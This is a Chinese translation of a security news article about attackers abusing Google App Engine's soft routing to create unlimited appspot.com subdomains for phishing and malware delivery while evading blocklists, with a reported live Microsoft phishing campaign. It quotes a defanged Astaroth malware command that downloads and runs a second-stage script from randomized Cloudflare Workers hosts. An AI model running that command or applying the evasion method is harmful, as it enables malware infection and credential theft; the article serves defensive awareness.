
研究人员最近发现的一项技术表明,如何利用Google的App Engine域来传递网络钓鱼和恶意软件,同时又不被领先的企业安全产品所检测到。
Google App Engine是一个基于云的服务平台,用于在Google的服务器上开发和托管Web应用。
尽管利用企业云域进行的网络钓鱼活动的报告并不是什么新鲜事,但是,这使得Google App Engine基础架构在如何生成子域和路由路径方面存在风险。
一个应用程序几乎无限的子域
诈骗者通常使用云服务来创建被分配了子域的恶意应用。然后,他们在此处托管网络钓鱼页面。或者他们可能将该应用程序用作命令和控制(C2)服务器来传递恶意软件有效负载。
但是,如果需要,URL结构通常以一种易于使用企业安全产品进行监视和阻止的方式生成。
例如,托管在Microsoft Azure服务上的恶意应用程序可能具有如下URL结构: https://example-subdomain.app123.web.core.windows.net / …
因此,网络安全专业人员可以通过简单地阻止与该子域之间的请求来阻止与该特定应用程序之间的通信。这不会阻止与使用其他子域的其余Microsoft Azure应用程序的通信。
但是,对于Google App Engine来说,情况变得有些复杂。
安全研究人员Marcel Afrahim演示了Google App Engine子域生成器的预期设计,该子域生成器可能会被滥用以将应用程序基础架构用于恶意目的,而同时仍未被发现。
托管应用程序的Google的 appspot.com 域具有以下URL结构:VERSION-dot-SERVICE-dot-PROJECT_ID.REGION_ID.r.appspot.com
在这种情况下,子域不仅代表应用程序,还代表应用程序的版本,服务名称,项目ID和区域ID字段。
但是,最重要的一点是,如果这些字段中的任何一个不正确,Google App Engine都不会显示“ 404未找到”页面,而是显示应用程序的“默认”页面(称为软路由的概念 )。
Afrahim指出:“针对目标服务中配置用于流量的任何版本都会收到请求。如果目标服务不存在,则该请求将进行软路由。”
“如果请求与主机名的PROJECT_ID.REGION_ID.r.appspot.com部分匹配,但包含不存在的服务,版本或实例名称,则该请求将路由到默认服务,这实际上是您的默认服务应用的主机名。”
从本质上讲,这意味着要攻击者的恶意应用程序有很多子域排列。只要每个子域都有一个有效的“ project_ID”字段,其他字段的无效变体就可以由攻击者决定使用,以生成一长列子域列表,所有这些子域都导致同一个应用程序。
例如,如Afrahim所示,以下两个URL(看起来截然不同)代表了托管在Google App Engine上的同一应用。
- https://random123-random123-random123-dot-bad-app2020.ue.r.appspot.com
- https://insertanythingyouwanthere-xyz123-xyz123-dot-bad-app-2020.ue.r.appspot.com
“由Google Trust Services验证”表示每个人都信任
现在,单个恶意应用由其子域的多个排列表示,这一事实使系统管理员和安全专业人员很难阻止恶意活动。
但更进一步,对于技术上不熟练的用户, 所有 这些子域似乎都是“安全站点”。毕竟, appspot.com 域及其所有子域在其SSL证书中都带有“ Google Trust Services”的印章。

来源:Afrahim
更进一步,大多数企业安全解决方案(例如Symantec WebPulse Web筛选器)会自动允许对可信类别站点的访问。而且 ,由于Google的声誉和合法的公司用例,Google的 appspot.com网域获得了“ Office / Business Applications”标签,从而避免了对网络代理的审查。

最重要的是,大量的子域变化使基于妥协指标(IOC)的阻止方法变得毫无用处。
Afrahim创建的测试应用程序的屏幕快照以及详细的“操作方法”演示了这种行为。
过去, Cloudflare 域生成具有类似的设计缺陷,Astaroth恶意软件可通过以下命令获取阶段2负载来利用该缺陷 :
%ComSpec% / c“ echo GetObject(” script:hxxps:// xsw%RANDOM%nnccccmd95c22 [。] cloudflareworkers [。] com / .edgeworker-fiddle-init-preview / 6a8db783ccc67c314de2767f33605caec2262527cbed408b4315c2e2d54cfadorplus.IVEd。 /?09 /”)”>%temp%\ Lqncxmm:vbvvjjh.js &&启动wscript.exe%temp%\ Lqncxmm:vbvvjjh.js”
这实际上将启动Windows命令提示符,并使用随机数替换%RANDOM%,从而使有效负载URL真正具有动态性。
“现在,您有了一个脚本,该脚本每次运行时都从不同的URL主机名下载有效负载,这将使这种假设示例的网络IOC完全没有用。因此,依靠在沙盒上单次运行以获取自动化IOC的解决方案将获得新的网络IOC和可能的新文件IOC(如果对脚本进行了一点修改的话)。”

积极利用网络钓鱼攻击
安全工程师和五岁的大友佑三(Yusuke Osumi)上周在推特上发布了一个消息,说明位于appspot.com 子域上的Microsoft网络钓鱼页面 是如何利用Afrahim详细介绍的设计缺陷的。
Osumi还编辑了由网络钓鱼应用程序动态生成的2,000多个子域的列表,所有这些子域都指向相同的网络钓鱼页面。

来源:Twitter
这个最近的例子已经转移讨论的焦点是如何从谷歌App Engine的缺陷可以 潜在地 利用有源网络钓鱼活动利用在野外的设计缺陷。
在Google的App Engine上使用Google云端硬盘/服务网络钓鱼套件,普通用户不仅会意识到不是Google在要求提供凭据。
*编译:Domino
*来自:bleepingcomputer